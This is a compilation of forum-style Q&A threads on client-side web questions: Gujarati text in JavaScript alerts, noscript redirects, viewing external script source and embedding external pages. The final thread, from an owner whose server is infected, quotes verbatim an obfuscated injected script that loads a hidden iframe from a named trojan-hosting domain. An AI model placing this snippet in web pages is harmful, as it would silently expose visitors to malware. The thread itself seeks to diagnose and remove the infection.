i create blogger blog For Gujarati Language Quiz
I used JS for a button in my blog at http://quizgujarat.blogspot.in
i use javascript in blogspot (blogger) post
when i click not radio button Gujarati Language Not showing in Alert Msg
please help
I use This Script
Code
<input type="button" style="margin-left: 0px" style="border:none" style="color:#999999" style="background-color: #fff0e0" value=" ક્લિક કરો " onclick=javascript:msg1001() /><script language="JavaScript">function msg1001(){alert("(A) વિકલ્પ Assam");}</script></td></tr><td valign="top" width="5%"><br />
Well, it works in the Fiddle that I just created. Although it works, that doesn't mean that you should use it.
A few recommendations, outside the scope of the question.
Don't use inline click handlers. Consider using unobtrusive javascript.
Don't use inline styles, use css.
Wrap that javscript onclick handler in quotes.
Move that script tag to the header of the page. Because the script tag is below the calling code, you could have a partially rendered page and "msg1001" may not exist yet when the button is clicked.
To display Gujarati font on any website there is only one requirement
<head>
<meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/>
</head>
And the page should be stored in utf-8 encoding.
Note: Once you have specified this meta tag then you need to remove other specifications for example if you are using jsp page then
<%# page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
this declarative should be removed or should be correct. Check you html page where this ambiguity can stop Gujarati font from displaying.
Related
I am having a huge problem. I need to prevent access to non javascript users for a page on my website. I am not very technical when it comes to websites, hmtl or java ect. But I have a page that i would like non javascript users to not be able to access. I have tried lots of code from here in my header and footer such as
<noscript>
<meta http-equiv="refresh" content="0; URL=nojs/index.php">
</noscript>
but it does not work.
To put this into more detail my problem is that a host a webpage with a list of download links. There is an app (web browser) for amazon devices (android) that accesses webpages and allows you to download but it comes with javascript disabled by default.
This means that my Ads dont show and i am now getting 40TB a month bandwidth usage from people using this software which means i may have to pull the site soon as it costs more to run than the ads give back.
I think i need to either block non javascript users. Or is there a way i can make my links on that page in javascript so that none javascript users cant see or use them?
In an ideal world i would just like to display a message saying please enable javascript in settings but i have tried many header codes with no success. Any help here greatly appreciated
I tried using the meta tag inside the noscript tags like you did, and it worked fine for me. Try using an absolute link to your nojs page instead of the relative one you have. I don't know of a way to completely block nonjs users. Another option would be to use the noscript tags to hide the content of your html pages when js is disabled. This won't completely disable nonjs users from seeing your pages since if they are tech-savy they could use inspect-element to unhide the page content, but for the most part it should do a good job of preventing nonjs users from viewing your page. You can also include a no script alert. For example:
<!DOCTYPE html>
<html>
<head>
<title>
</title>
<noscript>
<style>
div.content {
display: none;
}
</style>
</noscript>
</head>
<body>
<noscript>
Please enable Javascript to view this Page
</noscript>
<div class=content>
Page Content Here
</div>
</body>
</html>
<HTML>
<Head>
<Title>My Test</Title>
<script src="http://someurl.com/test.js"></script>
</Head>
<Body>
This is for test
</Body>
</HTML>
Above mentioned is my HTML code. When I right click my page & hit "view source" I can see exact same code.
But what my requirement is, instead of <script>...</script> I want actual javascript code from test.js should be displayed when I am hitting "view source".
I tried to put it in iframe, but it didn't worked.
What you want is impossible to achieve with HTML and an external JS file.
There is no way to make View Source show anything other than the actual source code of the URL.
If you want to look at the JavaScript source code, then look at the URL for the JavaScript. Most browsers will hyperlink it in View Source to make it easy to do.
If you really want the JS to be displayed as part of the source of the HTML document, then you have to make it part of the HTML document. Remove the src attribute and copy the contents of the JS file to between the start and end tag of the script element.
add a <script> tag in the <head> section
<script src="path/to/test.js"></script>
I need to load an external webpage into a div. I don't want to use an iFrame. And I want this done with plain Javascript. I'm not sure how to go about it.
With difficulty…
Use Ajax (e.g. via XMLHttpRequest) to get the page. Since it is external, you will need to bypass the same origin policy.
Once you have the page, extract the relevant parts of it (probably the children of the body element) and add that to your existing DOM.
You'll need to account for differing stylesheets between your site and the external one, for relative URIs (to resources on the external site that aren't on yours), and for any scripts in the remote content.
Whichever method you have, in js, try this instead : $('#myid').load('mylink.com')
I know only this in js.
You don't even need javascript-
but the same restrictions apply as for iframe inclusion of different domains.
<!doctype html>
<html lang="en">
<head>
<meta charset= "utf-8">
<title>test page</title>
</head>
<body>
<div>
<object type="text/html" data="http://validator.w3.org/" width="800px" height="600px" style="overflow:auto;border:5px ridge blue">
</object></div>
</div>
</body>
</html>
You should be able to load html pages within a page using the jQuery.get() method. I'm using this method for two websites for my clients, where the individual pages are different sections of the site.
I'm unsure of the behavior you may encounter if you attempt to use this method loading full HTML pages that include header information and the body tag. I recommend using it to load HTML snippets.
jQuery.get()
I have a site which relies heavily on javaScript. I created a mirror site, which has all the JS as well as all the elements that require JS removed. What is a good, easy way to redirect users to the mirror site if they don't have javaScript enabled?
I tried this, but it doesn't seem very good:
<noscript>
<meta http-equiv="refresh" content="0; URL=nojs/index.php">
</noscript>
I also tried to putting header-redirect into the noscript tag, but that didn't work.
<noscript>
<p>This site is best viewed with Javascript. If you are unable to turn on Javascript, please use this site.</p>
</noscript>
Some people purposely disable Javascript, and you might want to give them a chance to turn it on before redirecting them.
Use this code that I came up with:
<noscript>
<style>html{display:none;}</style>
<meta http-equiv="refresh" content="0.0;url=nojs/index.php">
</noscript>
It uses style to block what's on the page so then people won't notice anything before it redirects. The only thing that annoys me is that I want something better than meta refresh as that can be blocked on some browsers like IE. A PHP header isn't really a solution as you can't put it in a noscript tag as it will just ignore it and write it out straight away.
Make the no-JavaScript version of the site the default. Include a small script in there to redirect to the scripted site.
Or, abandon the use of a redirect entirely and go with Progressive Enhancement
What is your definition of "not very good"?
All my sites use:
<noscript>
<meta http-equiv="refresh" content="0; url=http://www.sadtrombone.com/" />
</noscript>
I wouldn't do client-side redirection, as that might seem annoying to the user. Instead, what I would do is use <noscript> to show the content of this JS-less site on the same page. It may be more work, but it would definitely be a smoother experience.
I came up with a better solution than having to redirect the user as meta-refresh can be disabled in IE.
Put this in the HEAD:
<style>div#body{display:none;}</style>
Put this in the BODY:
<noscript>NO JAVASCRIPT CONTENT HERE</noscript>
<noscript><div id="body"></noscript>JAVASCRIPT CONTENT HERE<noscript></div></noscript>
That way the tags are where they're meant to be.
Just simply put this code to your html file
<meta http-equiv = "refresh" content = "2; url = https://www.google.com" />
<!DOCTYPE html>
<html>
<head>
<title>Redirection</title>
<meta http-equiv = "refresh" content = "2; url = https://www.tutorialspoint.com" />
</head>
<body>
<p>This page will redirect in 2 seconds.</p>
</body>
</html>
The server that has my website on it also has a virus on it.
The virus injects the malicious code
<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script>
onto EVERY single page which is served, and it is being preprocessed by Apache or something similar to add it to the end of the file.
I created a test file, with the following code:
<html>
<head>
<title>Test HTML File</title>
</head>
<body>
<h1>Test HTML File</h1>
</body>
</html>
It isn't pretty, but it served its purpose.
When viewing the page in my browser, I get
<html>
<head>
<title>Test HTML File</title>
</head>
<body>
<h1>Test HTML File</h1>
<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script>
</body>
</html>
which can be viewed from www.sagamountain.com/testfile.html (warning, this page is infected)
I need to programmatically stop that div and that script from executing, as it is an iframe to a site with a trojan on it. HTML, CSS, or JS, I just need some way to prevent that JS from executing.
It is already display:none so you cannot see it, but how can I prevent the iframe from ever loading at all?
Thanks for the help! The unescape thing resolves to an iframe to http://ncccnnnc.cn/img/index.php which is clearly the source of my troubles. Don't go to that site!
EDIT: This is a followup to https://serverfault.com/questions/78439/my-website-is-infected-i-restored-a-backup-of-the-uninfected-files-how-long-wil/78459#78459
I'm sorry that I can't answer your specific question, but I think that you're looking at this the wrong way. What you need to do is not strip out the virus-inserted html, what you need to do is talk to your web-host/sysadmin and strip out the virus.
Treating the symptoms won't cure the infection. Treating the disease, however, will also treat the symptoms as well as removing the virus.
The file that is in your server is a php file look in the comments here.
Cyber, if you have to wait on the server to be fixed by someone else, I'd say you should try ending your documents with an open <noscript> tag or open HTML comment tag.
You can't use Javascript to stop content that hasn't been rendered from doing so, unless you use document.write and one of the above tags (noscript/comment). Also you can't do anything by placing a script after, as it is already too late (the content is there already).
It is an ugly solution but should prevent your site visitors from experiencing the virus. It also makes your markup invalid, but any browser should be able to parse it and render it as you expect.
Best of luck with the server!